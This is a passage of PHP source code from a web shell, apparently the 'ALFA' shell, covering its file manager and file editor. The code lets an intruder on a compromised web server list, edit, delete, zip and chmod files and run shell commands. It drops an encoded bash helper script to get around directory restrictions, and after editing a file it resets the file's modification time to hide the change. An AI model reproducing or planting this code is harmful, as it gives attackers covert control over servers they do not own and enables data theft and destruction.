		$file_owner = $ow['name']?$ow['name']:(function_exists("fileowner")?@fileowner($file['name']):"????");
		$file_group = $gr['name']?$gr['name']:(function_exists("filegroup")?@filegroup($file['name']):"????");
		$file_modify = @date('Y-m-d H:i:s', @filemtime($file['name']));
		$file_perm = alfaPermsColor($file['name']);
		$file_size = @filesize($file['name']);
		$ret_files[] = array("name" => $file['name'], "size" => alfaSize($file_size), "perm" => $file_perm, "modify" => $file_modify, "owner" => $file_owner."/".$file_group);
	}
}
}
if(!$move_cmd_file){
	echo json_encode($ret_files);
}
}else{
	echo "noperm";
	return;
}
if(!$move_cmd_file){
return;
}
break;
case 'mkdir':
$new_dir_cmd = false;
if($GLOBALS['glob_chdir_false']){
	if(_alfa_can_runCommand(true,true)){
		if(_alfa_is_writable($GLOBALS['cwd'])){
			if(!_alfa_is_dir(trim($_POST['alfa2']))){
				alfaEx("cd '".trim(addslashes($_POST['c']))."';mkdir '".trim(addslashes($_POST['alfa2']))."'");
				echo "<script>alfaShowNotification('".addslashes($_POST['alfa2'])." created...', 'Files manager');</script>";
			}else{
				echo "<script>alfaShowNotification('folder already existed', 'Files manager', 'error');</script>";
			}
		}else{
			echo "<script>alfaShowNotification('folder isnt writable !', 'Files manager', 'error');</script>";
		}
	}else{
		echo "<script>alfaShowNotification('Can\'t create new dir !', 'Files manager', 'error');</script>";
	}
}else{
	if(_alfa_is_writable($GLOBALS['cwd'])){
		if(!_alfa_is_dir(trim($_POST['alfa2']))){
			if(!@mkdir(trim($_POST['alfa2']))){
				echo "<script>alfaShowNotification('Can\'t create new dir !', 'Files manager', 'error');</script>";
			}else{
				echo "<script>alfaShowNotification('".addslashes($_POST['alfa2'])." created...', 'Files manager');</script>";
			}
		}else{
			echo "<script>alfaShowNotification('folder already existed', 'Files manager', 'error');</script>";
		}
	}else{
		echo "<script>alfaShowNotification('folder isnt writable !', 'Files manager', 'error');</script>";
	}
}
break;
case 'delete':
function deleteDir($path){
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = @opendir($path);
while(($item = @readdir($dh)) !== false){
$item = $path.$item;
if((basename($item) == "..") || (basename($item) == "."))
continue;
$type = @filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
@closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f){
if($f == '..')
continue;
$f = rawurldecode($f);
if($GLOBALS["glob_chdir_false"]){
	if(_alfa_can_runCommand(true,true)){
		alfaEx("rm -rf '".addslashes($_POST['c'].'/'.$f)."'");
	}
}else{
alfaEx("rm -rf '".addslashes($f)."'",false,false);
if(@is_dir($f))
deleteDir($f);
else
@unlink($f);
}
}
if(@is_dir(rawurldecode(@$_POST['alfa2']))&&rawurldecode(@$_POST['alfa2'])!='..'){
deleteDir(rawurldecode(@$_POST['alfa2']));
alfaEx("rm -rf '".addslashes($_POST['alfa2'])."'",false,false);
}else{
@unlink(rawurldecode(@$_POST['alfa2']));
}
if($GLOBALS["glob_chdir_false"]){
	$source = rawurldecode(@$_POST['alfa2']);
	if($source!='..'&&!empty($source)){
		if(_alfa_can_runCommand(true,true)){
			alfaEx("cd '".trim(addslashes($_POST['c']))."';rm -rf '".addslashes($source)."'");
		}
	}
}
if(is_array($_POST['f']))
return;
break;
case 'paste':
if($_COOKIE['alfa_act'] == 'copy'&&isset($_COOKIE['alfa_f'])){
foreach($_COOKIE['alfa_f'] as $f)
copy_paste($_COOKIE['alfa_c'],$f, $GLOBALS['cwd']);
}elseif($_COOKIE['alfa_act'] == 'move'&&isset($_COOKIE['alfa_f'])){
function move_paste($c,$s,$d){
if(@is_dir($c.$s)){
@mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if(($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
}elseif(@is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['alfa_f'] as $f)
@rename($_COOKIE['alfa_c'].$f, $GLOBALS['cwd'].$f);
}elseif($_COOKIE['alfa_act'] == 'zip'&&isset($_COOKIE['alfa_f'])){
if(class_exists('ZipArchive')){
$zip = new ZipArchive();
$zipX = "alfa_".rand(1,1000).".zip";
if($zip->open($zipX, 1)){
@chdir($_COOKIE['alfa_c']);
foreach($_COOKIE['alfa_f'] as $f){
if($f == '..')continue;
if(@is_file($_COOKIE['alfa_c'].$f))
$zip->addFile($_COOKIE['alfa_c'].$f, $f);
elseif(@is_dir($_COOKIE['alfa_c'].$f)){
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
foreach($iterator as $key=>$value){
$key = str_replace('\\','/',realpath($key));
if(@is_dir($key)){
if(in_array(substr($key, strrpos($key,'/')+1),array('.', '..')))continue;
}else{$zip->addFile($key,$key);}}}}
@chdir($GLOBALS['cwd']);
$zip->close();
__alert('>> '.$zipX.' << is created...');}}
}elseif($_COOKIE['alfa_act'] == 'unzip'&&isset($_COOKIE['alfa_f'])){
if(class_exists('ZipArchive')){
$zip = new ZipArchive();
foreach($_COOKIE['alfa_f'] as $f) {
if($zip->open($_COOKIE['alfa_c'].$f)){
$zip->extractTo($_COOKIE['alfa_cwd']);
$zip->close();}}}}
unset($_COOKIE['alfa_f']);
break;
default:
if(!empty($_POST['alfa1'])){
if(in_array($_POST['alfa1'], array("copy", "move", "zip", "unzip"))){
__alfa_set_cookie('alfa_act', @$_POST['alfa1']);
__alfa_set_cookie('alfa_f', @serialize($_POST['f']));
__alfa_set_cookie('alfa_c', @$_POST['c']);
return;
}
}
break;
}
}
$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if(preg_match("#(.*)\/\.\.#", $_POST['c'], $res)){
	$path = explode('/', $res[1]);
	array_pop($path);
	$_POST['c'] = implode('/', $path);
}
$cmd_dir = false;
if($dirContent === false){
	if(_alfa_can_runCommand(true,true)){
		$tmp_getdir_path = @$_COOKIE["alfachdir_bash_path"];
		@chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
		if(!isset($_COOKIE["alfachdir_bash"])||@!file_exists($tmp_getdir_path."/alfacgiapi/getdir.alfa")){
			$bash = "jZTfb5swEMef4a+4uaYkSmmS/YpEwsOkqVNfO+1hSqKKggnWwI4MEaFppL3vv9xfUtsYSKpMWh6I7/O9O9vcHVfvxrtCjJ8oGxep/fX+IcBT+/7ue4DdFXNtEqUc0BLZCRdAgTLAg6wALwQsfYdziLkN8rcNyzRAio0xRRrRBJZLwBSCANDtLYLra/D2Mr5KaZSCIGGcUfZrCOv1HMqUMB3VJcOD1gO8BLBiw86DBhpoO6G2RVnCZURRhiV4ESDnznd++M433yl856c/cULf+YLaLJa6n+u7+gzgCXWdUIiwhsViAQirbMi2ynpLAnzQynKyPurdeMWI6OjU0I3gu21H30tqFfS5j/6gSM5jmtQd+2hit0TkbJd3/NMJT3d5yDrls1EYqR571XWb1yALNBgApcFkLp8LfLjqfI6KjEYw7Av2JstIFu/QWT6m1J8e//7+05Qy5oy8PdNZuKxAU21zGV3zyXQ2m6G+vJbVXhVNlGJAkw/FQm5X7eVDVPKxF5V00LXVmb1KFkaVTyVUraSYOGFnm0Q84yJAeUjZ40YQwvRRZUKSmXT/FSo7tSR9aEEu+AgStx79abHqHf0SYipIVHJRn22kW0tpJ0fqYwTZ7LJQyM7OiL7uy8tlB5Jvy/rfbkWdP/GMRqCm6ML+OrA5tp7zwwqxMCcr5MNKTsEK3ch/5WpIs1RQT4GhZq2wHgODzVphNQqGNksFm2kwuDWUYJrEKJ3VSrpdTkRjt7IuzYls7OONrZu4+Z4djmv0Cg==";
			$tmp_getdir_path = alfaWriteTocgiapi("getdir.alfa",$bash);
			__alfa_set_cookie("alfachdir_bash", "true");
			__alfa_set_cookie("alfachdir_bash_path", $tmp_getdir_path);
		}
		$dirContent = alfaEx("cd ".$tmp_getdir_path."/alfacgiapi;sh getdir.alfa '".addslashes(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd'])."'");
		$dirContent = json_decode($dirContent, true);
		if(is_array($dirContent)){
			array_pop($dirContent);
			$cmd_dir = true;
		}else{
			$dirContent = false;
		}
	}
}
alfahead();
AlfaNum(8,9,10,7,6,5,4);
$count_dirContent = @count($dirContent);
if($count_dirContent > 300){
	@$_COOKIE["alfa_limited_files"] = 100;
}
$alfa_sort_by = isset($_COOKIE["alfa_sort_by"]) ? $_COOKIE["alfa_sort_by"] : 'name';
$alfa_limited_files = isset($_COOKIE["alfa_limited_files"]) ? (int)$_COOKIE["alfa_limited_files"] : 0;
$alfa_files_page_number = isset($_POST["pagenum"]) ? (int)$_POST["pagenum"] : 1;
$alfa_filesman_direction = isset($_COOKIE["alfa_filesman_direction"]) ? $_COOKIE["alfa_filesman_direction"] : 'asc';
$files_page_count = 1;
if($alfa_limited_files > 0){
	$files_page_count = ceil($count_dirContent/$alfa_limited_files);
	if($files_page_count > 1){
		$files_page_count++;
	}
}
echo '<div><div class="filters-holder"><span>Filter: </span><input style="color:#25ff00;" autocomplete="off" type="text" id="regex-filter" name="name-filter" onkeydown="doFilterName(this);"><span style="margin-left:10px">Sort By: </span><select name="sort_files" onchange="sortBySelectedValue(this,\'alfa_sort_by\');" style="color:#25ff00;"><option value="name" '.($alfa_sort_by == 'name'?'selected':'').'>Name</option><option value="size" '.($alfa_sort_by == 'size'?'selected':'').'>Size</option><option value="modify" '.($alfa_sort_by == 'modify'?'selected':'').'>Modify</option></select><span style="margin-left:10px">Direction: </span><select name="direction_filesman" onChange="sortBySelectedValue(this,\'alfa_filesman_direction\')" style="color:#25ff00;"><option value="asc" '.($alfa_filesman_direction == 'asc'?'selected':'').'>Ascending</option><option value="desc" '.($alfa_filesman_direction == 'desc'?'selected':'').'>Descending</option></select><span style="margin-left:10px;"> limit: </span><input style="text-align:center;width: 40px;color:#25ff00;" type="text" name="limited_number" value="'.$alfa_limited_files.'" oninput="this.value=this.value.replace(/[^0-9]/g,\'\');setCookie(\'alfa_limited_files\', this.value, 2012);"><span style="margin-left:10px;">Files Count: <b style="color:#25ff00;">'.($count_dirContent-1).'</b></span></div><div class="header">';
if($dirContent == false){
echo '<center><br><span style="font-size:16px;"><span style="color: red; -webkit-text-shadow: 1px 1px 13px;"><strong><b><big>!!! Access Denied !!!</b></big><br><br></strong></div>';
alfaFooter();
return;
}
global $sort;
$sort = array('name', 1);
if(isset($_COOKIE["alfa_sort_by"]) && !empty($_COOKIE["alfa_sort_by"])){
	$sort[0] = $_COOKIE["alfa_sort_by"];
}
if(!empty($_POST['alfa1'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['alfa1'], $match))
$sort = array($match[1], (int)$match[2]);
}
if($alfa_files_page_number > ($files_page_count-1)){
	$alfa_files_page_number = 1;
}
$checkbox_rand = rand(11111, 99999);
echo "<form onsubmit='fc(this);return false;' name='files' method='post'><table id='filemanager_table' width='100%' class='main' cellspacing='0' cellpadding='2'><tr><th width='13px'><div class='myCheckbox' style='padding-left:0px;'><input type='checkbox' id='mchk".$checkbox_rand."' onclick='checkBox(this);' class='chkbx'><label for='mchk".$checkbox_rand."'></label></div></th><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";
$dirs = $files = array();
$n = $count_dirContent;
if($n > $alfa_limited_files && $alfa_limited_files > 0){
	$n = ($alfa_limited_files * $alfa_files_page_number);
	if($n > $count_dirContent){
		$n = $count_dirContent;
	}
}
$i = 0;
if($alfa_limited_files > 0 && $alfa_files_page_number > 1){
	$i = $alfa_limited_files * ($alfa_files_page_number - 1);
}
$page_builder = get_pagination_links($alfa_files_page_number,$files_page_count -1);
$cmd_dir_backp = "";
for(;$i<$n;$i++){
if($cmd_dir){
$filename = $dirContent[$i]["name"];
$file_owner = $dirContent[$i]["owner"];
$file_group = $dirContent[$i]["group"];
$file_modify = @date('Y-m-d H:i:s', $dirContent[$i]["modify"]);
$file_perm = alfaPermsColor(array("class"=>$dirContent[$i]["permcolor"],"num"=>$dirContent[$i]["permnum"],"human"=>$dirContent[$i]["permhuman"]),true);
$file_size = $dirContent[$i]["size"];
if(substr($dirContent[$i]["name"], 0 ,1) == "/"){
$file_path = $dirContent[$i]["name"];
$dirContent[$i]["name"] = "..";
$filename = $dirContent[$i]["name"];
}else{
$file_path = $GLOBALS['cwd']."/".$dirContent[$i]["name"];
}
}else{
$filename = $dirContent[$i];
$ow = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($GLOBALS['cwd'].$filename)):array("name" => "????");
$gr = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($GLOBALS['cwd'].$filename)):array("name" => "????");
$file_owner = $ow['name']?$ow['name']:(function_exists("fileowner")?@fileowner($GLOBALS['cwd'].$filename):"????");
$file_group = $gr['name']?$gr['name']:(function_exists("filegroup")?@filegroup($GLOBALS['cwd'].$filename):"????");
$file_modify = @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $filename));
$file_perm = alfaPermsColor($GLOBALS['cwd'].$filename);
$file_size = @filesize($GLOBALS['cwd'].$filename);
$file_path = $GLOBALS['cwd'].$filename;
}
$tmp = array('name' => $filename,
'path' => $file_path,
'modify' => $file_modify,
'perms' => $file_perm,
'size' => $file_size,
'owner' => $file_owner,
'group' => $file_group
);
if($filename == ".." && !$cmd_dir){
	$tmp["path"] = str_replace("\\", "/", realpath($file_path));
}
if(!$cmd_dir){
if(@is_file($file_path)){
$arr_mrg = array('type' => 'file');
if(@is_link($file_path)){
$arr_mrg["link"] = readlink($tmp['path']);
}
$files[] = array_merge($tmp, $arr_mrg);
}elseif(@is_link($file_path)){
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
}elseif(@is_dir($file_path)&& ($filename != ".")){
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
}else{
	if($dirContent[$i]["type"]=="file"){
		$files[] = array_merge($tmp, array('type' => 'file'));
	}else{
		if($dirContent[$i]["name"] != "."){
			$dirs[] = array_merge($tmp, array('type' => 'dir'));
		}
	}
}
}
$GLOBALS['sort'] = $sort;
function alfaCmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "alfaCmp");
usort($dirs, "alfaCmp");
if(isset($_COOKIE["alfa_filesman_direction"])&& !empty($_COOKIE["alfa_filesman_direction"])){
	if($_COOKIE["alfa_filesman_direction"] == 'desc'){
		$files = array_reverse($files);
		$dirs = array_reverse($dirs);
	}
}
$files = array_merge($dirs, $files);
$l=0;
$cc=0;
foreach($files as $f){
$f['name'] = htmlspecialchars($f['name']);
$newname = mb_strlen($f['name'], 'UTF-8')>60?mb_substr($f['name'], 0, 60, 'utf-8').'...':$f['name'];
$checkbox = 'checkbox_'.$checkbox_rand.$cc;
$raw_name = rawurlencode($f['name']);
$icon = $GLOBALS['DB_NAME']['show_icons']?'<img src="'.findicon($f['name'],$f['type']).'" width="30" height="30">':'';
$style = $GLOBALS['DB_NAME']['show_icons']?'position:relative;display:inline-block;bottom:12px;':'';
echo '<tr class="fmanager-row" id="tr_row_'.$cc.'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="'.$raw_name.'" class="chkbx" id="'.$checkbox .'"><label for="'.$checkbox .'"></label></div></td><td id="td_row_'.$cc.'">'.$icon.'<div style="'.$style.'"><a row="'.$cc.'" id="id_'.$cc.'" class="main_name" onclick="'.(($f['type']=='file')?'editor(\''.$raw_name.'\',\'auto\',\'\',\'\',\'\',\''.$f['type'].'\');" href="#action=fileman&path='.$GLOBALS['cwd'].'&file='.$raw_name.'" fname="'.$raw_name.'" ftype="file" path="'.$GLOBALS['cwd'].'" opt_title="'.$f['link'].'" '.(isset($f['link'])?'onmouseover="showSymlinkPath(this,event);" onmouseout="hideSymlinkPath(this,event);"':'').'>'.($GLOBALS['cwd'].$f['name']==$GLOBALS['__file_path']?"<span class='shell_name' style='font-weight:unset;'>".$f['name']."</span>":htmlspecialchars($newname)):'g(\'FilesMan\',\''.$f['path'].'\');" href="#action=fileman&path='.$f['path'].'" fname="'.$raw_name.'" ftype="folder" path="'.$GLOBALS['cwd'].'" opt_title="'.$f['link'].'" '.(isset($f['link'])?'onmouseover="showSymlinkPath(this,event);" onmouseout="hideSymlinkPath(this,event);"':'').'><b>| ' . htmlspecialchars($f['name']) . ' |</b>').'</a></td></div><td><span style="font-weight:unset;" class="main_size">'.(($f['type']=='file')?(isset($f['link'])?'[L] ':'').alfaSize($f['size']):$f['type']).'</span></td><td><span style="font-weight:unset;" class="main_modify">'.$f['modify'].'</span></td><td><span style="font-weight:unset;" class="main_owner_group">'.$f['owner'].'/'.$f['group'].'</span></td><td><a id="id_chmode_'.$cc.'" href=javascript:void(0) onclick="editor(\''.$raw_name.'\',\'chmod\',\'\',\'\',\'\',\''.$f['type'].'\')">'.
$f['perms'].'</td><td><a id="id_rename_'.$cc.'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\''.$raw_name.'\', \'rename\',\'\',\'\',\'\',\''.$f['type'].'\')">R</a> <a id="id_touch_'.$cc.'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\''.$raw_name.'\', \'touch\',\'\',\'\',\'\',\''.$f['type'].'\')">T</a>'.(($f['type']=='file')?' <a id="id_edit_'.$cc.'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\''.$raw_name.'\', \'edit\',\'\',\'\',\'\',\''.$f['type'].'\')">E</a> <a id="id_download_'.$cc.'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''.$raw_name.'\', \'download\')">D</a>':'').'<a id="id_delete_'.$cc.'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # '.addslashes(rawurldecode($f['name'])).' # ?\'); chk ? g(\'FilesMan\',null,\'delete\', \''.$raw_name.'\') : \'\';"> X </a></td></tr>';
$l = $l?0:1;
$cc++;
}
echo "<tr id='filemanager_last_tr'><td colspan=7>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='".htmlspecialchars(($GLOBALS['glob_chdir_false']?$_POST['c']:$GLOBALS['cwd']))."'>
<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
<select id='tools_selector' name='alfa1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete' selected>Delete</option><option value='zip'>Add 2 Compress (zip)</option><option value='unzip'>Add 2 Uncompress (zip)</option><option value='paste'>Paste / Zip / Unzip </option></select>
<input type='submit' value=' '>
</form></table><div class='pages-holder'><div class='pages-number'>".$page_builder."</div></div></div></div>";
alfafooter();
}
function get_pagination_links($current_page, $total_pages){
    $links = "";
    if ($total_pages >= 1 && $current_page <= $total_pages) {
		$links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number\"><<</a>";
		$selected_page = "";
		if($current_page == 1){
			$selected_page = " active-page-number";
		}
        $links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number".$selected_page."\">1</a>";
        $i = max(2, $current_page - 5);
        if ($i > 2)
            $links .= "<a class=\"page-number\">...</a>";
        for (; $i < min($current_page + 6, $total_pages); $i++) {
			if($i == $current_page){
				$selected_page = " active-page-number";
			}else{
				$selected_page = "";
			}
            $links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number".$selected_page."\">{$i}</a>";
        }
        if ($i != $total_pages)
            $links .= "<a class=\"page-number\">...</a>";
		$selected_page = " last-page-number";
		if($current_page == $total_pages){
			$selected_page .= " active-page-number";
		}
        $links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number".$selected_page."\">{$total_pages}</a>";
		$links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number\">>></a>";
    }
    return $links;
}
function alfaFilesTools(){
alfahead();
echo '<div class="filestools" style="height: 100%;">';
if(isset($_POST['alfa1']))$_POST['alfa1'] = rawurldecode($_POST['alfa1']);
$alfa1_decoded = $_POST['alfa1'];
$chdir_fals = false;
if(!@chdir($_POST['c'])){
	$chdir_fals = true;
	$_POST['alfa1'] = $_POST["c"]."/".$_POST["alfa1"];
	$alfa_canruncmd = _alfa_can_runCommand(true,true);
	if($alfa_canruncmd){
		$slashed_alfa1 = addslashes($_POST['alfa1']);
		$file_info = explode(":", alfaEx('stat -c "%F:%U:%G:%s:%Y:0%a:%A" "'.$slashed_alfa1.'"'));
		$perm_color_class = alfaEx("if [[ -w '".$slashed_alfa1."' ]]; then echo main_green_perm; elif [[ -r '".$slashed_alfa1."' ]]; then echo main_white_perm; else echo main_red_perm; fi");
	}
}
if($_POST['alfa2'] == 'auto'){
if(is_array(@getimagesize($_POST['alfa1']))){
$_POST['alfa2'] = 'image';
}else{
	$_POST['alfa2'] = 'view';
	if($chdir_fals){
		if($alfa_canruncmd){
			$mime = explode(":", alfaEx("file --mime-type '".addslashes($_POST['alfa1'])."'"));
			$mimetype = $mime[1];
			if(!empty($mimetype)){
				if(strstr($mimetype, "image")){
					$_POST['alfa2'] = 'image';
				}
			}
		}
	}
}
}
if($_POST['alfa2'] == "rename" && !empty($_POST['alfa3']) && @is_writable($_POST['alfa1'])){$rename_cache = $_POST['alfa3'];}
if(@$_POST['alfa2'] == 'mkfile'){
$_POST['alfa1'] = trim($_POST['alfa1']);
if($chdir_fals&&$alfa_canruncmd){
	if(_alfa_is_writable($_POST["c"])){
		alfaEx("cd '".addslashes($_POST["c"])."';touch '".addslashes($alfa1_decoded)."'");
		$_POST['alfa2'] = "edit";
	}
}
if(!@file_exists($_POST['alfa1'])){
$fp = @fopen($_POST['alfa1'], 'w');
if($fp){
$_POST['alfa2'] = "edit";
fclose($fp);
}
}else{
$_POST['alfa2'] = "edit";
}
}
if(!_alfa_file_exists(@$_POST['alfa1'])){
echo __pre()."<center><p><div class=\"txtfont\"><font color='red'>!...FILE DOEST NOT EXITS...!</font></div></p></center></div><script>editor_error=false;removeHistory('".$_POST['alfa4']."');</script>";
alfaFooter();
return;
}
if($chdir_fals){
$filesize = $file_info[3];
$uid["name"] = $file_info[1];
$gid["name"] = $file_info[2];
$permcolor = alfaPermsColor(array("class"=>$perm_color_class,"num"=>$file_info[5],"human"=>$file_info[6]),true);
}else{
$uid = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($_POST['alfa1'])):'';
$gid = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($_POST['alfa1'])):'';
if(!$uid&&!$gid){
$uid['name'] = function_exists("fileowner")?@fileowner($_POST['alfa1']):'';
$gid['name'] = function_exists("filegroup")?@filegroup($_POST['alfa1']):'';
}
$permcolor = alfaPermsColor($_POST['alfa1']);
$filesize = @filesize($_POST['alfa1']);
if(!isset($uid['name'],$gid['name'])||empty($uid['name'])||empty($gid['name'])){
	if(_alfa_can_runCommand()){
		list($uid['name'],$gid['name']) = explode(":", alfaEx('stat -c "%U:%G" "'.addslashes($_POST["c"]."/".$_POST["alfa1"]).'"'));
	}
}
}
if(substr($_POST['alfa1'], 0, 7) == "phar://"){
	$alfa_file_directory = $_POST['alfa1'];
}else{
	$alfa_file_directory = str_replace("//", "/",($chdir_fals?"":$_POST['c'].'/').$_POST['alfa1']);
}
echo '<div style="overflow: hidden;white-space: nowrap;text-overflow: ellipsis;"><span class="editor_file_info_vars">Name:</span> '.htmlspecialchars(basename($alfa1_decoded)).' <span class="editor_file_info_vars">Size:</span> '.alfaSize($filesize).' <span class="editor_file_info_vars">Permission:</span> '.$permcolor.' <span class="editor_file_info_vars">Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].' <span class="editor_file_info_vars">Directory:</span> '.dirname($alfa_file_directory).'</div>';
if(empty($_POST['alfa2']))$_POST['alfa2'] = 'view';
if(!_alfa_is_dir($_POST['alfa1'])){
$m = array('View', 'Download', 'Highlight', 'Chmod', 'Rename', 'Touch', 'Delete', 'Image', 'Hexdump');
$ftype = "file";
}else{
$m = array('Chmod', 'Rename', 'Touch');
$ftype = "dir";
}
echo('<div>');
foreach($m as $v)
echo $v == 'Delete' ? '<a href="javascript:void(0);" onclick="var chk=confirm(\'Are You Sure For Delete This File ?\');chk?editor(\''.addslashes(!isset($rename_cache)?$_POST['alfa1']:$rename_cache).'\',\''.strtolower($v).'\',\'\',\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\'):\'\';"><span class="editor_actions">'.((strtolower($v)==@$_POST['alfa2'])?'<b><span class="editor_actions"> '.$v.' </span> </b>':$v).' | </span></a> ' : '<a href="javascript:void(0);" onclick="editor(\''.addslashes(!isset($rename_cache)?$_POST['alfa1']:$rename_cache).'\',\''.strtolower($v).'\',\'\',\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\')"><span class="editor_actions">'.((strtolower($v)==@$_POST['alfa2'])?'<b><span class="editor_actions"> '.$v.' </span> </b>':$v).' | </span></a>';
echo '</div>';
switch($_POST['alfa2']){
case 'view':case 'edit':
@chdir($_POST['c']);
$disabled_btn = "";
if(!@is_writable($_POST['alfa1'])&&!_alfa_is_writable($_POST['alfa1'])){
$disabled_btn = "disabled=disabled";
$disabled_btn_style= 'background: #ff0000;color: #fff;';
}
if(!empty($_POST['alfa3'])){
$_POST['alfa3'] = substr($_POST['alfa3'],1);
$time = @filemtime($_POST['alfa1']);
$fp = @__write_file($_POST['alfa1'],$_POST['alfa3']);
if($chdir_fals&&$alfa_canruncmd){
	$rname = $alfa1_decoded;
	$randname = $rname.rand(111,9999);
	$filepath = dirname($_SERVER["SCRIPT_FILENAME"])."/".$randname;
	if($fp = @__write_file($filepath ,$_POST['alfa3'])){
		alfaEx("mv '".addslashes($filepath)."' '".addslashes($_POST["alfa1"])."';rm -f '".addslashes($filepath)."'");
	}
}
if($fp){
echo 'Saved!<br>';
@touch($_POST['alfa1'],$time,$time);
}
}
echo '<div class="editor-view"><div class="view-content editor-ace-controller"><div style="display:inline-block;">'._alfa_load_ace_options("editor").'<button style="border-radius:10px;" class="button ace-controler" onClick="copyToClipboard(this);">Copy</button> <button class="button ace-controler" onclick="alfaAceToFullscreen(this);">Full Screen</button> <button onclick="var ace_val = alfa_ace_editors.editor[this.getAttribute(\'ace_id\')].getValue();editor(\''.addslashes($alfa1_decoded).'\',\'edit\',\'1\'+ace_val,\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\');return false;" class="button ace-controler ace-save-btn" style="width: 100px;height: 33px;'.$disabled_btn_style.'" '.$disabled_btn.'>save</button></div><pre class="ml1 view_ml_content">';
echo htmlspecialchars(__read_file($_POST['alfa1']));
echo '</pre></div></div>';
break;
case 'highlight':
@chdir($_POST['c']);
if(@is_readable($_POST['alfa1'])){
echo '<div class="editor-view"><div class="view-content"><div class="ml1" style="background-color: #e1e1e1;color:black;">';
$code = @highlight_file($_POST['alfa1'],true);
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div></div></div>';
}
break;
case 'delete':
@chdir($_POST['c']);
if(@is_writable($_POST['alfa1'])||$GLOBALS["glob_chdir_false"]){
$deleted = true;
if(!@unlink($_POST['alfa1'])){
	$deleted = false;
	if($alfa_canruncmd){
		if(_alfa_is_writable($_POST['alfa1'])){
			alfaEx("rm -f '".addslashes($_POST['alfa1'])."'");
			$deleted = true;
		}
	}
}
if($deleted)echo 'File Deleted...<script>var elem = $("'.$_POST['alfa4'].'").parentNode;elem.parentNode.removeChild(elem);delete editor_files["'.$_POST['alfa4'].'"];</script>';else echo 'Error...';}
break;
case 'chmod':
@chdir($_POST['c']);
if(!empty($_POST['alfa3'])){
$perms = 0;
for($i=strlen($_POST['alfa3'])-1;$i>=0;--$i)
$perms += (int)$_POST['alfa3'][$i]*pow(8, (strlen($_POST['alfa3'])-$i-1));
if(!@chmod($_POST['alfa1'], $perms)){
if($chdir_fals&&$alfa_canruncmd){
alfaEx("cd '".addslashes($_POST["c"])."';chmod ".addslashes($_POST['alfa3'])." '".addslashes($alfa1_decoded)."'");
echo('Success!');
}else{
echo '<font color="#FFFFFF"><b>Can\'t set permissions!</b></font><br><script>document.mf.alfa3.value="";</script>';}
}else{echo('Success!');}
}
clearstatcache();
AlfaNum(8,9,10,7,6,5,4,2,1);
if($chdir_fals){
	$file_perm = $file_info[5];
}else{
	$file_perm = substr(sprintf('%o', @fileperms($_POST['alfa1'])),-4);
}
echo '<script>alfa3_="";</script><form onsubmit="editor(\''.addslashes($_POST['alfa1']).'\',\''.$_POST['alfa2'].'\',this.chmod.value,\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\');return false;"><input type="text" name="chmod" value="'.$file_perm.'"><input type=submit value=" "></form>';
break;
case 'hexdump':
@chdir($_POST['c']);
$c = __read_file($_POST['alfa1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
$h[1] .= '<br>';
$h[2] .= "\n";
}
}
